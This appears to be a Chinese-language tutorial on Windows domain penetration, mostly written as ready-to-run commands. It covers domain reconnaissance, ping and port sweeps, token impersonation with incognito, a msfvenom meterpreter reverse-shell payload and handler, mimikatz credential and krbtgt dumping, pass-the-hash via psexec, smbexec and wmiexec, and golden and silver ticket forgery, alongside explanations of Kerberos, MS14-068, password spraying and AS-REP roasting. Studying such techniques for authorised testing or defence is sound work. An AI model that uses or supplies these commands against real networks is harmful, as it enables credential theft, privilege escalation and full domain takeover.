域信息搜集命令
1.查询当前环境
whoami && ipconfig /all
2.查询当前域用户
net user /domain
3.查询域控
net time
4.查询域工作组
net group /domain
5.查询域管理用户
net group "domain admins" /domain
6. 查询有几台域控制器 需要域权限
net group "Domain controllers"
7.查找域服务器
net time
查询时间 这个命令会请求域服务器的时间
8.查看当前工作环境
net config workstation
9.查询域控
nltest /dclist:hacking
10.ping/nslookup 查找域控
ping 12-dc.hacking.com
nslookup 12-dc.hacking.com
主机发现
在域内进行横行渗透时,首先要收集主机的端口和
ip
信息
net view /domain
查询域内的主机信息
发生系统错误
6118
出现这种错误时
Computer Browser
被禁用了 在域管理启用即可
net view /domain
net view /domain:hacking
查询通信
arp -a
nbtscan 发现主机
下载地址:
nbtscan - NETBIOS nameserver scanner
nbtscan.exe -f 192.168.31.0/24
bat 命令发现主机
for /l %i in (1,1,255) do @ping 192.168.31.%i -w 1 -n 1|find /i "ttl="
通过 powershell 脚本扫描 IP 地址存活:
powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSwee
p.ps1;Invoke-TSPingSweep -StartAddress 192.168.31.0 -EndAddress 192.168.
31.255"
脚本下载地址:
https://gallery.technet.microsoft.com/scriptcenter/Invoke
TSPingSweep-b71f1b9b
用
PowerShell
实现基本的端口扫描功能。
PS C:\Users\Bypass> 1..1024 | % {echo ((new-object Net.Sockets.TcpClien
t).Connect("192.168.246.44",$_)) "Port $_ is open!"} 2>$null
针对某
IP
段中单个端口的扫描:
foreach ($ip in 1..20) {Test-NetConnection -Port 80 -InformationLevel "
Detailed" 192.168.1.$ip}
针对某
IP
段
&
多个端口的扫描器
1..20 | % { $a = $_; 1..1024 | % {echo ((new-object Net.Sockets.TcpClie
nt).Connect("10.0.0.$a",$_)) "Port $_ is open!"} 2>$null}
基于 MSF 的内网主机探测
使用
msf
进行反弹
shell
进行内网渗透时,通过
msf
自带的扫描模块进行快速扫描。
主机存活探测:
auxiliary/scanner/discovery/arp_sweep
ARP
扫描
auxiliary/scanner/discovery/udp_sweep
UDP
扫描
auxiliary/scanner/netbios/nbname
NETBIOS
扫描
auxiliary/scanner/snmp/snmp_enum
SNMP
扫描
auxiliary/scanner/smb/smb_version
SMB
扫描
端口扫描:
auxiliary/scanner/portscan/ack
TCP ACK
端口扫描
auxiliary/scanner/portscan/ftpbounce
FTP bounce
端口扫描
auxiliary/scanner/portscan/syn
SYN
端口扫描
auxiliary/scanner/portscan/tcp
TCP
端口扫描
auxiliary/scanner/portscan/xmas
TCP XMas
端口扫描
nmap
Nmap
是一个端口扫描器,可用于主机发现、端口扫描、版本检测、
OS
检测等。
使用场景:建立
socks
代理,
proxychains+Nmap
扫描内网。
支持多种扫描模式:
-sT: TCP
扫描
-sS: SYN
扫描
-sA: ACK
扫描
-sF
:
FIN
扫描
-sU: UDP
扫描
-sR: RPC
扫描
-sP: ICMP
扫描
快速扫描所有端口:
nmap -sS -p 1-65535 -v 192.168.31.59
域渗透思路
通过域成员主机,定位出域控制器
IP
及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机 IP
,设法从域成员主机内存中
dump
出域管理员密码,进而拿下域控制器、渗透整个内网。
内网渗透 Token
令牌
(token)
是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,
访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需
要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。
令牌有很多种:
• 访问令牌(Access Token)
:表示访问控制操作主体的系统对象
• 会话令牌(Session Token)
:是交互会话中唯一的身份标识符
• 密保令牌(Security Token)
:又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如 U
盾
Windows
的
AccessToken
有两种类型:
•
Delegation Token
:授权令牌,它支持交互式会话登录
(
例如本地用户直接 登录、远程桌面登录访问)
•
Impresonation Token
:模拟令牌,它是非交互的会话
(
例如使用
net use 访问共享文件夹)
。
注:
两种
token
只在系统重启后清除 具有
Delegation token
的用户在注销后,
该
Token
将变成
Impersonation token
,依旧有效。
AccessToken 的窃取与利用
AccessToken
的窃取与利用需要
administrator
管理员权限。也就是说要提权。
窃取
AccessToken
的方法:
incognito.exe
程序 、
InvokeTokenManipulat.ps1
脚本 、
MSF
里的
incognito
模块
1.incognito
程序地址:
https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
AccessToken
的列举
(
需要
administrator
权限
)
incognito.exe list_tokens -u
操作:模拟其他用户的令牌(复制
token
)
**
如果要使用
AccessToken
模拟其他用户,可以使用命令
incognito.exe execute -c "
完整的
Token
名
" cmd.exe
例如:模拟
system
权限用户(提权至
system
):
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
降权至当前用户:
incognito.exe execute -c "
当前用户
token" cmd.exe
获取域普通用户
incognito.exe execute -c "moonsec\test" cmd.exe
2.MSF 下的 incognito 模块
use incognito #
加载
incognito
list_tokens -u #
列出
AccessToken
getuid
#
查看当前
token
impersonate_token "NT AUTHORITY\SYSTEM" #
模拟
system
用户,
getsystem
命令
即实现了该命令。如果要模拟其他用户,将
token
名改为其他用户即可
steal_token 1252 #
从进程窃取
token
getsystem #
提升至
system
权限
rev2self #
返回到之前的
AccessToken
权限
3.msf 令牌实战
msf 生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=6666 LHOST=192.168.0.115 -f exe -o msf.exe
监听端口
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.0.115
set lport 6666
exploit
use incognito
#进入
incognito
模块
list_tokens -u
#
列出令牌
列出两种令牌
• Delegation Token:也就是授权令牌,它支持交互式登录
(
例如可以通过远程
桌面登录访问
)
• Impresonation Token:模拟令牌,它是非交互的会话。
伪造令牌
impersonate_token 12SERVER-01\Administrator
#
假冒
12server-01\adminstrator的令牌
impersonate_token moonsec\\test
#
假冒
moonsec\test的令牌
impersonate_token "NT AUTHORITY\SYSTEM"
#
假冒
System
的令牌
横向渗透
PTH(pass-the-hash) HASH 传递
pass-the-hash 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash
和
NTLM Hash
访问远程主机或服务,而不用提供明文密码。
pass the hash
原理:
-
在
Windows
系统中,通常会使用
NTLM
身份认证
-
NTLM
认证不使用明文口令,而是使用口令加密后的
hash
值,
hash 值由系统
API
生成
(
例如
LsaLogonUser)
-
hash
分为
LM hash
和
NT hash
,如果密码长度大于 15,那么无法生成 LMhash
。从
Windows Vista
和
Windows Server 2008
开始,微软默认禁用 LM hash
-
如果攻击者获得了
hash
,就能够在身份验证的时候模拟该用户
(即跳过调用API
生成
hash
的过程
)
这类攻击适用于:
微软也对 pth
打过补丁,然而在测试中发现,在打了补丁后,常规的
Pass The Hash 已经无法成功,唯独默认的
Administrator(SID 500)
账号例外,利用这个账号仍可以进行 Pass The Hash
远程
ipc
连接。
如果禁用了 ntlm
认证,
PsExec
无法利用获得的
ntlm hash
进行远程连接,但是使用 mimikatz
还是可以攻击成功
从 windows
到
windows
横向
pth
这一类攻击方法比较广泛。
mimitkaz pth
privilege::debug (需要管理员权限)
sekurlsa::logonpasswords
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt
得到
hash
后进行
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:32ed87bdb5fdc5e9cba88547376818d4
成功后 会弹出终端
cmd
。
psexec
psexec 是
windows
官方自带的,不会存在查杀问题,属于
pstools
利用
PsExec
可以在远程计算机上执行命令,其基本原理是通过管道在远程目标主机上创建一个psexec 服务,并在本地磁盘中生成一个名为
PSEXESVC
的二进制文件,然后通过psexec 服务运行命令,运行结束后删除服务。
利用 SMB
服务可以通过明文或
hash
传递来远程执行,条件
445
服务端口开放。对方开放 445
端口,就相当于开放了
smb
协议。
#psexec 第一种:先有
ipc
链接,
psexec
需要明文或
hash
传递
net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
psexec \\192.168.3.32 -s cmd #
需要先有
ipc
链接
-s
以
System
权限运行
#psexec
第二种:不用建立
IPC
直接提供明文账户密码
psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd
psexec -hashes :$HASH$ ./administrator@10.1.2.3
psexec -hashes :$HASH$ domain/administrator@10.1.2.3
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
官方
Pstools
无法采用 hash
连接
#
非官方自带
-
参考
impacket
工具包使用,操作简单,容易被杀
#smbexec
无需先
ipc
链接 明文或
hash
传递
smbexec god/administrator:Admin12345@192.168.3.21
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7god/administrator@192.168.3.21
wmic 命令
WMI
连接远程主机,并使用目标系统的
cmd.exe
执行命令,将执行结果保存在目
标主机
C
盘的
ip.txt
文件中
使用
WMIC
连接远程主机,需要目标主机开放
135
和
445
端口
( 135
端
⼝
是
WMIC
默认的管理端
⼝
,
wimcexec
使
⽤
445
端
⼝
传回显
)
wmic /node:192.168.0.123 /user:administrator /password:123456 process c
all create "cmd.exe /c ipconfig > c:\ip.txt
之后建立 IPC$ ,使用 type 读取执行结果
wmiexec.vbs
wmiexec.vbs
脚本通过
VBS
调用
WMI
来模拟
PsExec
的功能,
wmiexec.vbs
下载地
址:
https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs
cscript //nologo wmiexec.vbs /shell 192.168.0.123 administrator 123456
#
套件
impacket wmiexec
明文或
hash
传递 有回显
exe
版本
wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
PTT 票据传递攻击(Pass the Ticket)
Kerberos 协议& Kerberos 认证原理
Kerberos 协议是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。其设计目标是通过密钥系统为客户机与服务器应用程序提供强大的认证服务。该协议的认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos
作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。Kerberos
协议在在内网域渗透领域中至关重要,白银票据、黄金票据、攻击域控等都离不开 Kerberos
协议。
打个比方:当 whoami
要和
bunny
进行通信的时候,
whoami
就需要向
bunny
证明自己是 whoami
,直接的方式就是
whoami
用二人之间的秘密做秘钥加密明文文字生成密文,把密文和明文文字一块发送给 bunny
,
bunny
再用秘密解密得到明文,把明文和明文文字进行对比,若一致,则证明对方是 whoami
。
但是网络中,密文和文字很有可能被窃取,并且只要时间足够,总能破解得到秘钥。所以不能使用这种长期有效的秘钥,要改为短期的临时秘钥。那么这个临时秘钥就需要一个第三方可信任的机构来提供,即 KDC
(
Key Distribution Center
)秘钥分发中心。
Kerberos 认证原理
首先我们根据以下这张图来大致描述以下整个认证过程:
1. 首先 Client
向域控制器
DC
请求访问
Server
,
DC
通过去
AD
活动目录中查找依次区分 Client
来判断
Client
是否可信。
2. 认证通过后返回 TGT
给
Client
,
Client
得到
TGT
(
Ticket Granting Ticket)。
3. Client 继续拿着
TGT
请求
DC
访问
Server
,
TGS
通过
Client
消息中的
TGT
,判断 Client
是否有访问权限。
4. 如果有,则给 Client
有访问
Server
的权限
Ticket
,也叫
ST
(
Service Ticket)。
5. Client 得到
Ticket
后,再去访问
Server
,且该
Ticket
只针对这一个
Server 有效。
6. 最终 Server
和
Client
建立通信。
下面讲一下详细的认证步骤,大概分为三个阶段:
AS
REQ & AS
REP
TGS
REQ & TGS
REP
AP-REQ & AP-REP
ASREQ & ASREP
该阶段是 Client 和 AS 的认证,通过认证的客户端将获得 TGT 认购权证。
当域内某个客户端用户 Client
视图访问域内的某个服务,于是输入用户名和密码,此时客户端本机的 Kerberos
服务会向
KDC
的
AS
认证服务发送一个
AS_REQ
认证请求。请求的凭据是 Client
的哈希值
NTLM-Hash
加密的时间戳以及
Client-info、
Server-info
等数据,以及一些其他信息。
当 Client
发送身份信息给
AS
后,
AS
会先向活动目录
AD
请求,询问是否有此Client 用户,如果有的话,就会取出它的
NTLM-Hash
,并对
AS_REQ
请求中加密的时间戳进行解密,如果解密成功,则证明客户端提供的密码正确,如果时间戳在五分钟之内,则预认证成功。然后 AS
会生成一个临时秘钥
Session-Key AS
,并使用客户端 Client
的
NTLM-Hash
加密
Session-key AS
作为响应包的一部分内容。此Session-key AS 用于确保客户端和
KGS
之间的通信安全。
还有一部分内容就是 TGT
:使用
KDC
一个特定账户的
NTLM-Hash
对
Session-key AS、时间戳、
Client-info
进行的加密。这个特定账户就是创建域控时自动生成的Krbtgt 用户,然后将这两部分以及
PAC
等信息回复给
Client
,即
AS_REP
。
PAC
中包含的是用户的 SID
、用户所在的组等一些信息。
AS-REP 中最核心的东西就是
Session-key
和
TGT
。我们平时用Mimikatz、
kekeo
、
rubeus
等工具生成的凭据是
.kirbi
后缀,
Impacket
生成的凭据的后缀是 .ccache
。这两种票据主要包含的都是
Session-key
和 TGT,因此可以相互转化。
至此,Kerberos
认证的第一步完成。
TGSREQ & TGSREP
该阶段是 Client
和
TGS
的认证,通过认证的客户端将获得
ST
服务票据。
客户端 Client
收到
AS
的回复
AS_REP
后分别获得了
TGT
和加密的
Session-Key AS。它会先用自己的
Client NTLM-hash
解密得到原始的
Session-Key AS,然后它会在本地缓存此 TGT 和原始的 Session-Key AS,如果现在它就需要访问某台服务器上的服务,他就需要凭借这张 TGT 认购凭证向 KGS 购买相应的 ST 服务票据(也叫Ticket)。
此时 Client
会使用
Session-Key AS
加密时间戳、
Client-info
、
Server-info
等数据作为一部分。由于 TGT
是用
Krbtgt
账户的
NTLM-Hash
加密的,
Client
无法解密,所以 Client
会将
TGT
作为另一部分继续发送给
TGS
。两部分组成的请求被称为TGS_REQ。
TGS 收到该请求,用
Krbtgt
用户的
NTLM-hash
先解密
TGT
得到
Session-key AS
、时间戳、Client-info
以及
Server-info
。再用
Session-key AS
解密第一部分内容,得
到
Client-info
、时间戳。然后将两部分获取到时间戳进行比较,如果时间戳跟当前时间相差太久,就需要重新认证。TGS
还会将这个
Client
的信息与
TGT
中的
Client 信息进行比较,如果两个相等的话,还会继续判断 Client
有没有权限访问
Server
,如果都没有问题,认证成功。认证成功后,KGS
会生成一个
Session-key TGS
,并用 Session-key AS
加密
Session-key TGS
作为响应的一部分。此
Session-key TGS
用于确保客户端和服务器之间的通信安全。
另一部分是使用服务器 Server
的
NTLM-Hash
加密
Session-key TGS
、时间戳以及Client-info 等数据生成的
ST
。然后
TGS
将这两部分信息回复给
Client
,即TGS_REP。
至此,
Client
和
KDC
的通信就结束了,然后是和
Server
进行通信。
AP-REQ & AP-REP
该阶段是
Client
和
TGS
的认证,通过认证的客户端将与服务器建立连接。
客户端 Client 收到 TGS_REP 后,分别获得了 ST 和加密的 Session-Key TGS。它会先使用本地缓存了的 Session-key AS 解密出了原始的 Session-key TGS。然后它会在本地缓存此 ST 和原始的 Session-Key TGS,当客户端需要访问某台服务器上的服务时会向服务器发送请求。它会使用 Session-key TGS 加密 Client-info、时间戳等信息作为一部分内容。ST 因为使用的是 Server NTLM-hash 进行的加密,无法解密,所以会原封不动发送给 Server。两部分一块发送给 Server,这个请求即是AP_REQ。
Server 收到
AP_REQ
请求后,用自身的
Server NTLM-Hash
解密了
ST
,得到Session-Key TGS,再解密出
Client-info
、时间戳等数据。然后与
ST
的
Client-info、时间戳等进行一一对比。时间戳有效时间一般时间为
8
小时。通过客户端身份验证后,服务器 Server
会拿着
PAC
去询问
DC
该用户是否有访问权限,
DC
拿到AC 后进行解密,然后通过
PAC
中的
SID
判断用户的用户组信息、用户权限等信息,然后将结果返回给服务端,服务端再将此信息域用户请求的服务资源的 ACL进行对比,最后决定是否给用户提供相关的服务。通过认证后 Server
将返回最终的 AP-REP
并与
Client
建立通信。
至此,
Kerberos
认证流程基本结束。
PAC
我们在前面关于 Kerberos
认证流程的介绍中提到了
PAC
(
Privilege Attribute Certificate)这个东西,这是微软为了访问控制而引进的一个扩展,即特权访问证书。
在上面的认证流程中,如果没有 PAC
的访问控制作用的话,只要用户的身份验证正确,那么就可以拿到 TGT
,有了
TGT
,就可以拿到
ST
,有了
ST
,就可以访问服务了。此时任何一个经过身份验证的用户都可以访问任何服务。像这样的认证只解决了 "Who am i?" 的问题,而没有解决
"What can I do?"
的问题。
为了解决上面的这个问题,微软引进了 PAC
。即
KDC
向客户端
Client
返回
AS_REP时插入了 PAC
,
PAC
中包含的是用户的
SID
、用户所在的组等一些信息。当最后服务端 Server
收到
Client
发来的
AP_REQ
请求后,首先会对客户端身份验证。通过客户端身份验证后,服务器 Server
会拿着
PAC
去询问
DC
该用户是否有访问权限,DC 拿到
PAC
后进行解密,然后通过
PAC
中的
SID
判断用户的用户组信息、用户权限等信息,然后将结果返回给服务端,服务端再将此信息域用户请求的服务资源的ACL 进行对比,最后决定是否给用户提供相关的服务。
但是在有些服务中并没有验证 PAC
这一步,这也是白银票据能成功的前提,因为就算拥有用户的 Hash
,可以伪造
TGS
,但是也不能制作
PAC
,
PAC
当然也验证不成功,但是有些服务不去验证
PAC
,这是白银票据成功的前提。
Kerberos 认证中的相关安全问题概述
Kerberos
认证并不是天衣无缝的,这其中也会有各种漏洞能够被我们利用,比如我们常说的MS14-068
、黄金票据、白银票据等就是基于
Kerberos
协议进行攻击的。下面我们便来大致介绍一下 Kerberos
认证中的相关安全问题。
黄金票据(Golden ticket)
在 Windows
的
kerberos
认证过程中,
Client
将自己的信息发送给
KDC
,然后
KDC使用 Krbtgt
用户的
NTLM-Hash
作为密钥进行加密,生成
TGT
。那么如果获取到了Krbtgt 的
NTLM-Hash
值,不就可以伪造任意的
TGT
了吗。因为
Krbtgt
只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。
先假设这么一种情况,原先已拿到的域内所有的账户 Hash
,包括
Krbtgt
这个账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置 Krbtgt
密码,基于此条件,我们还能利用该票据重新获得域管理员权限。利用 Krbtgt
的
Hash
值可以伪造生成任意的
TGT
,能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于 Kerberos
认证的任何服务。
白银票据(Silver ticket)
白银票据不同于黄金票据,白银票据的利用过程是伪造 TGS
,通过已知的授权服务密码生成一张可以访问该服务的 TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而黄金票据在利用过程中由 KDC颁发 TGT,并且在生成伪造的 TGT 得 20 分钟内,TGS 不会对该 TGT 的真伪进行效验。
白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用 Krbtgt账号的密码哈希值,因此更加隐蔽。
MS14-068
这里便用到了我们之前所讲到的 PAC
这个东西,
PAC
是用来验证
Client
的访问权限的,它会被放在 TGT
里发送给
Client
,然后由
Client
发送给
TGS
。但也恰恰是这个 PAC
造成了
MS14-068
这个漏洞。
该漏洞是位于 kdcsvc.dll
域控制器的密钥分发中心(
KDC
)服务中的
Windows
漏洞,它允许经过身份验证的用户在其获得的票证 TGT
中插入任意的
PAC
。普通用户可以通过呈现具有改变了 PAC
的
TGT
来伪造票据获得管理员权限。
密码喷洒攻击(Password Spraying)
在实际渗透中,许多渗透测试人员和攻击者通常都会使用一种被称为
“
密码喷洒
”
(
Password Spraying
)的技术来进行测试和攻击。对密码进行喷洒式的攻击,这
个叫法很形象,因为它属于自动化密码猜测的一种。这种针对所有用户的自动密码
猜测通常是为了避免帐户被锁定,因为针对同一个用户的连续密码猜测会导致帐户
被锁定。所以只有对所有用户同时执行特定的密码登录尝试,才能增加破解的概
率,消除帐户被锁定的概率。普通的爆破就是用户名固定,爆破密码,但是密码喷
洒,是用固定的密码去跑用户名。
AS-REP Roasting
我们前文说过,
AS
REQ & AS
REP
认证的过程是
Kerberos
身份认证的第一步,该过
程又被称为预身份验证。预身份验证主要是为了防止密码脱机爆破。
而如果域用户设置了选项
"Do not require Kerberos preauthentication"
(该选项默
认没有开启)关闭了预身份验证的话,攻击者可以使用指定的用户去请求票据,向
域控制器发送
AS_REQ
请求,此时域控会不作任何验证便将
TGT
票据和加密的
Session-key
等信息返回。因此攻击者就可以对获取到的加密
Session-key
进行离线
破解,如果爆破成功,就能得到该指定用户的明文密码。
这种攻击方式被称作
AS-REP Roasting
攻击。
票据传递攻击
这里介绍域内常用的两种攻击方式:黄金票据
Golden ticket
、白银票据
SILVER TICKET
金票 Golden ticket
原理
在
Kerberos
认证中
,Client
通过
AS(
身份认证服务
)
认证后
,AS
会给
Client
一个
Logon Session Key
和
TGT,
而
Logon Session Key
并不会保存在
KDC
中,
krbtgt
的
NTLM Hash
又是固定的
,
所以只要得到
krbtgt
的
NTLM Hash
,就可以伪造
TGT
和
Logon Session Key
来进入下一步
Client
与
TGS
的交互。而已有了金票后
,
就跳过
AS
验证
,
不用验证账户和密码
,
所以也不担心域管密码修改。
特点
不需要与
AS
进行交互,需要用户
krbtgt
的
Hash
具体操作介绍
二 伪造金票
伪造金票的所需条件
1
、域名称
2
、域的
SID
值
3
、域的
KRBTGT
账号的
HASH
4
、伪造任意用户名
登录域管用户,执行
whoami
可以看到是
administrator
用户:
使用一下命令导出用户
krbtgt
的
hash
:
mimikatz(commandline) # privilege::debug
mimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /all /csv 或 lsadump::lsa /inject
mimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /user:krbtgt
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:moonsec.fbi /all /csv" "exit">loghash.txt
利用 mimikatz 生成金票生成.kirbi 文件并保存:
mimikatz.exe "kerberos::golden /admin:system /domain:moonhack.com /sid:
S-1-5-21-3439616436-2844000184-3841763578 /krbtgt:4c1d57638dddb470a8588
af80160f5f6 /ticket:ticket.kirbi" exit
/admin
:伪造的用户名
/domain
:域名称
/sid
:
SID
值,注意是去掉最后一个
-
后面的值
/krbtgt
:
krbtgt
的
HASH
值
/ticket
:生成的票据名称
//
不是写入内存中的命令!
三,金票的使用(普通域账户,利用黄金票据,创建域管账户)
登录域内普通用户,通过
mimikatz
中的
kerberos::ptt
功能将
ticket.kirbi
导入内存中
导入票据之前访问域控
mimikatz # kerberos::purge
mimikatz # kerberos::ptt C:\Users\test\ticket.kirbi
注入内存中可以再来访问 dc 可以成功
银票 SILVER TICKET
原理
如果说黄金票据是伪造的 TGT,
那么白银票据就是伪造的
ST
。在 Kerberos
认证的第三步,
Client
带着
ST
和
Authenticator3
向
Server
上的某个服务进行请求,Server
接收到
Client
的请求之后
,
通过自己的
Master Key
解密
ST,从而获得 Session Key
。通过
Session Key 解密Authenticator3,进而验证对方的身份,验证成功就让 Client 访问 server 上的指定服务了。
所以我们只需要知道 Server
用户的
Hash
就可以伪造出一个
ST,
且不会经过
KDC, 但是伪造的门票只对部分服务起作用
特点
1.
不需要与
KDC
进行交互
2.
需要
server
的
NTLM hash
具体操作介绍
登录上面创建的域管用户,用管理员权限打开
CMD
,
cd
到
mimikatz
存放的目录,
去执行
mimikatz
的命令,得到
SID
和
NTLM
,
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt
先使用 mimikatz 清空票据,再导入伪造的票据,具体伪造票据的命令:
kerberos::purge
kerberos::golden /domain:moonsec.fbi /sid:S-1-5-21-3068616892-3890610424-3278931909 /target:12server-dc.moonsec.fbi /service:cifs /rc4:42e2656ec24331269f82160ff5962387 /user:administrator /ptt
使用方法:
kerberos::golden /domain:<
域名
> /sid:<
域
SID> /target:<
目标服务器主机名
> /service:<服务类型
> /rc4:<NTLM Hash> /user:<
用户名
> /ptt
其中的用户名可以随便写
服务类型可以从以下内容中来进行选择,因为我们没有
TGT
去不断申请
ticket
,
所以只能针对某一些服务来进行伪造
现在已经有域管的权限了。
kekeo
制作环境银票
tgt::ask /user:administrator /domain:moonsec.fbi /ntlm:42e2656ec24331269f82160ff5962387 // tgt::ask /user:用户名
/domain:
域名
/ntlm:NTLM Hash
kerberos::ptt TGT_administrator@MOONSEC.FBI_krbtgt~moonsec.fbi@MOONSEC.
FBI.kirbi